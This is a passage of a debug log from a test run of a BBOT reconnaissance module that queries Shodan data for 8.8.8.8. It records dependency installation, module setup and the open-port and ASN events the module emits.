16:54:54,123 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-03-01 16:54:54,123 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-03-01 16:54:54,124 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-03-01 16:54:54,124 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly -2026-03-01 16:54:54,125 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-03-01 16:54:54,126 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report -2026-03-01 16:54:54,126 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-03-01 16:54:54,127 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-03-01 16:54:55,222 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-03-01 16:54:55,223 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-03-01 16:54:55,223 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-03-01 16:54:55,361 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-03-01 16:54:55,931 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-03-01 16:54:55,931 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-03-01 16:54:55,931 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-03-01 16:54:55,932 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-03-01 16:54:56,141 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-03-01 16:54:56,143 [DEBUG] bbot base.py:103 Mocking DNS -2026-03-01 16:54:56,252 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-03-01 16:54:56,252 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-03-01 16:54:56,309 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) -2026-03-01 16:54:56,311 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-03-01 16:54:56,312 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general -2026-03-01 16:54:56,743 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-03-01 16:54:56,743 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-03-01 16:54:59,205 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful -2026-03-01 16:54:59,205 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-03-01 16:54:59,206 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-03-01 16:55:00,973 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-03-01 16:55:00,974 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-03-01 16:55:00,980 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 16:55:00,980 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-03-01 16:55:00,981 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 16:55:00,981 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-03-01 16:55:00,981 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 16:55:00,981 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-03-01 16:55:00,982 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 16:55:00,982 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. -2026-03-01 16:55:00,983 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" -2026-03-01 16:55:00,983 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-03-01 16:55:00,987 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/1qn3dghab5mtg3b714lg -2026-03-01 16:55:01,746 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) -2026-03-01 16:55:01,747 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-03-01 16:55:01,748 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise -2026-03-01 16:55:01,867 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" -2026-03-01 16:55:01,867 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-03-01 16:55:01,867 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive -2026-03-01 16:55:01,869 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" -2026-03-01 16:55:01,869 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" -2026-03-01 16:55:01,869 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-03-01 16:55:01,869 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python -2026-03-01 16:55:01,870 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" -2026-03-01 16:55:01,871 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-03-01 16:55:01,871 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules -2026-03-01 16:55:01,872 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-03-01 16:55:01,872 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-03-01 16:55:01,873 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-03-01 16:55:01,873 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-03-01 16:55:01,873 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-03-01 16:55:01,873 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-03-01 16:55:01,874 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-03-01 16:55:01,874 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-03-01 16:55:01,875 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-03-01 16:55:01,875 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-03-01 16:55:01,875 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-03-01 16:55:01,876 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-03-01 16:55:01,876 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-03-01 16:55:01,876 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-03-01 16:55:01,877 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-03-01 16:55:01,877 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-03-01 16:55:01,877 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-03-01 16:55:01,877 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-03-01 16:55:01,878 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-03-01 16:55:01,878 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-03-01 16:55:01,878 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-03-01 16:55:01,878 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-03-01 16:55:01,879 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-03-01 16:55:01,879 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-03-01 16:55:01,879 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-03-01 16:55:01,879 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-03-01 16:55:01,879 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) -2026-03-01 16:55:01,880 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-03-01 16:55:01,880 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-03-01 16:55:01,880 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-03-01 16:55:01,880 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-03-01 16:55:01,881 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-03-01 16:55:01,881 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. -2026-03-01 16:55:01,881 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-03-01 16:55:01,881 [DEBUG] bbot base.py:111 Starting scan -2026-03-01 16:55:02,021 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_hk0jqnboz8 -2026-03-01 16:55:02,022 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops -2026-03-01 16:55:02,132 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started -2026-03-01 16:55:02,133 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING -2026-03-01 16:55:02,133 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING -2026-03-01 16:55:02,134 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'ipv4', 'target'}) -2026-03-01 16:55:02,235 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'ipv4', 'target'}) passed post-check -2026-03-01 16:55:02,235 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'ipv4', 'target'}) -2026-03-01 16:55:02,237 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'ipv4', 'target'}) in-scope because its main host matches the scan target -2026-03-01 16:55:02,237 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) -2026-03-01 16:55:02,239 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:849284b53da532099341e2f2f8f50095ceb8694c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-01 16:55:02,239 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:849284b53da532099341e2f2f8f50095ceb8694c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 16:55:02,240 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) passed post-check -2026-03-01 16:55:02,241 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) -2026-03-01 16:55:02,243 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:849284b53da532099341e2f2f8f50095ceb8694c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 16:55:02,244 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:849284b53da532099341e2f2f8f50095ceb8694c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-03-01 16:55:02,245 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:849284b53da532099341e2f2f8f50095ceb8694c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 16:55:02,246 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:849284b53da532099341e2f2f8f50095ceb8694c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-01 16:55:02,247 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:849284b53da532099341e2f2f8f50095ceb8694c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 16:55:02,249 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:849284b53da532099341e2f2f8f50095ceb8694c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 16:55:02,249 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:849284b53da532099341e2f2f8f50095ceb8694c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded -2026-03-01 16:55:02,253 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) -2026-03-01 16:55:02,254 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) passed post-check -2026-03-01 16:55:02,254 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) -2026-03-01 16:55:02,255 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) -2026-03-01 16:55:02,255 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) because precheck succeeded -2026-03-01 16:55:02,256 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) because precheck succeeded -2026-03-01 16:55:02,257 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) from TARGET -2026-03-01 16:55:02,257 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) passed post-check -2026-03-01 16:55:02,257 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) -2026-03-01 16:55:02,355 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) -2026-03-01 16:55:02,356 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:849284b53da532099341e2f2f8f50095ceb8694c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET -2026-03-01 16:55:02,357 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:849284b53da532099341e2f2f8f50095ceb8694c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-01 16:55:02,357 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) from TARGET -2026-03-01 16:55:02,358 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) passed post-check -2026-03-01 16:55:02,358 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:55:02,359 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:55:02,360 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-03-01 16:55:02,360 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:55:02,361 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:55:02,361 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:55:02,363 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:55:02,363 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:55:02,364 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-03-01 16:55:02,364 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:55:02,365 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-03-01 16:55:02,365 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 16:55:02,366 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:55:02,366 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:55:02,367 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:55:02,367 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:55:02,368 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:55:02,368 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 16:55:02,369 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:55:02,369 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:55:02,370 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:55:02,370 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-03-01 16:55:02,370 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 16:55:02,371 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-03-01 16:55:02,372 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:55:02,372 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-03-01 16:55:02,373 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:55:02,373 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:55:02,373 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:55:02,374 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:55:02,374 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:55:02,375 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:55:02,375 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-03-01 16:55:02,376 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-03-01 16:55:02,376 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 16:55:02,377 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:55:02,377 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 16:55:02,378 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because precheck succeeded -2026-03-01 16:55:02,378 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:55:02,378 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:55:02,379 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:55:02,379 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-03-01 16:55:02,460 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-03-01 16:55:02,461 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:55:02,461 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-03-01 16:55:02,462 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:55:02,462 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) from shodan_enterprise -2026-03-01 16:55:02,463 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-03-01 16:55:02,463 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-03-01 16:55:02,463 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:55:02,464 [INFO] bbot.scanner scanner.py:790 Finishing scan -2026-03-01 16:55:02,464 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED -2026-03-01 16:55:02,466 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED -2026-03-01 16:55:02,467 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED -2026-03-01 16:55:02,467 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() -2026-03-01 16:55:02,467 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING -2026-03-01 16:55:02,468 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None -2026-03-01 16:55:02,468 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None -2026-03-01 16:55:02,568 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None -2026-03-01 16:55:02,569 [VERBOSE] bbot.scanner 